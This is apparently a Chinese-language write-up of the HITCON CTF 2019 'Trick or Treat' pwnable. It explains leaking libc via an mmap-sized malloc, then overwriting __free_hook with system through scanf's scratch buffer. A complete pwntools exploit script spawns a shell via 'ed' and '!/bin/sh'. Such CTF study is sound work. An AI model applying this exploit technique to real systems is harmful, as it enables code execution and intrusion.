Challenge
-
题目:Trick or Treat
-
类型:pwnable
-
来源:HITCON CTF 2019 Quals
-
环境:Ubuntu 18.04
-
难度:Easy
Analysis
照惯例检查一下题目开启的保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
载入IDA后,仅有一个主函数,可以很快理清其逻辑。程序首先打印出了malloc的heap地址,紧接着给了两次相对地址写。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
__int64 offset; // [rsp+10h] [rbp-20h]
__int64 value; // [rsp+18h] [rbp-18h]
_QWORD *addr; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
size = 0LL;
index = 0LL;
data = 0LL;
addr = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
write(1, "Size:", 5uLL);
__isoc99_scanf("%lu", &size);
addr = malloc(size);
if ( addr )
{
printf("Magic:%pn", addr);
for ( i = 0; i <= 1; ++i )
{
write(1, "Offset & Value:", 0x10uLL);
__isoc99_scanf("%lx %lx", &offset, &value);
addr[offset] = value;
}
}
_exit(0);
}
一般情况下,当malloc分配的大小较小时,我们得到的堆地址相对于其他段的偏移是随机的,并且结合题目给的相对地址写,此时的堆是比较干净的,难以劫持控制流。但是当malloc的大小超过top chunk的大小0x20db0且超过mp_.mmap_threshold的大小0x20000(glibc-2.27/malloc/malloc.c#2306)时,会使用mmap以页为单位分配,此时heap的地址相对于libc便是固定的,因此我们可以间接计算出libc的基址。
p 0x7ffff7fc5000-0x00007ffff79e4000
1 = 0x5e1000
接下来我们有两次相对libc基址写的机会。由于在这之后,程序直接调用exit(0)结束,我们能做文章的地方只有在scanf里面了。注意到scanf的第一个参数是"%lx %lx",当我们的输入一直是0x0-0xf时,我们输入的数据会保存在char_buffer结构里,这段buffer初始在栈上,当这段buffer的大小大于0x400时,会在scratch_buffer_grow_preserve里调用malloc从heap段分配更大的buffer,并且在结束时在scratch_buffer_free释放这段buffer。
#0 __GI___libc_malloc (bytes=bytes@entry=0x800) at malloc.c:3028
#1 0x00007ffff7a81198 in __GI___libc_scratch_buffer_grow_preserve (
buffer=buffer@entry=0x7fffffffde50) at scratch_buffer_grow_preserve.c:37
#2 0x00007ffff7a513e8 in scratch_buffer_grow_preserve (buffer=0x7fffffffde50)
at ../include/scratch_buffer.h:113
#3 char_buffer_add_slow (ch=<optimized out>, buffer=0x7fffffffde40) at vfscanf.c:243
#4 char_buffer_add (ch=<optimized out>, buffer=0x7fffffffde40) at vfscanf.c:263
#5 _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>,
argptr=argptr@entry=0x7fffffffe2c0, errp=errp@entry=0x0) at vfscanf.c:1799
#6 0x00007ffff7a5ffd8 in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:37
#7 0x0000555555554955 in ?? ()
#8 0x00007ffff7a05b97 in __libc_start_main (main=0x55555555484a, argc=0x1, argv=0x7fffffffe4b8,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:310
#9 0x000055555555476a in ?? ()
那么,有了malloc和free,我们自然可以联想到经典的__malloc_hook和__free_hook,这样我们就可以劫持控制流,并且这段buffer也是我们可控的。但是,这段buffer如前描述,只能包含0x0-0xf。这似乎给我们带来了一点麻烦,然而天无绝人之路,我们可以在/bin目录下找到ed这个命令,构造system("ed")。
# https://gtfobins.github.io/gtfobins/ed/
ed
!/bin/sh
Solution
完整利用脚本如下
from pwn import *
libc = ELF('./libc.so.6')
r = process('./trick_or_treat')
r.sendlineafter('Size:', str(0x21000))
r.recvuntil('Magic:')
heap = int(r.recvuntil('n'), 16)
libc.address = heap - 0x5e1010
log.success('heap address:' + hex(heap))
log.success('libc address:' + hex(libc.address))
p = ''
p += hex((libc.symbols['__free_hook'] - heap) / 8)
p += ' '
p += hex(libc.symbols["system"])
log.success(p)
r.sendlineafter('Offset & Value:', p)
r.sendlineafter('e:', '1' * 0x410 + ' ' + 'ed')
log.success('get shell')
r.sendline('!/bin/sh')
r.interactive()
原文始发于微信公众号(pwnable):Trick or Treat
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论